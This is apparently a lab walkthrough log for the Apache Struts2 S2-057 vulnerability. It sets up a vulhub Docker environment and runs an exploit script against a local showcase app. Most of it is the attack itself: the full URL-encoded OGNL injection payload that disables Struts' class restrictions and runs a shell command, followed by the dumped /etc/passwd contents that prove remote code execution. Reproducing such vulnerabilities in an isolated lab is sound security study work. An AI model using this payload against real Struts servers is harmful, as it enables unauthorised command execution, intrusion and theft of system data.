git clone https://github.com/vulhub/vulhub
cd vulhub/struts2/s2-057
docker-compose up -d

$ python exploit.py "http://127.0.0.1:8080/showcase" "cat /etc/passwd" "actionChain1.action" 3

=== Tring payload-3 ===
[*] Generated EXP: http://127.0.0.1:8080/showcase/%24%7B%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%[email protected]@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27cat /etc/passwd%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action
[*] Exploiting...
[+] HTTP Status: 200
[+] Response: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
[*] Exploit Finished!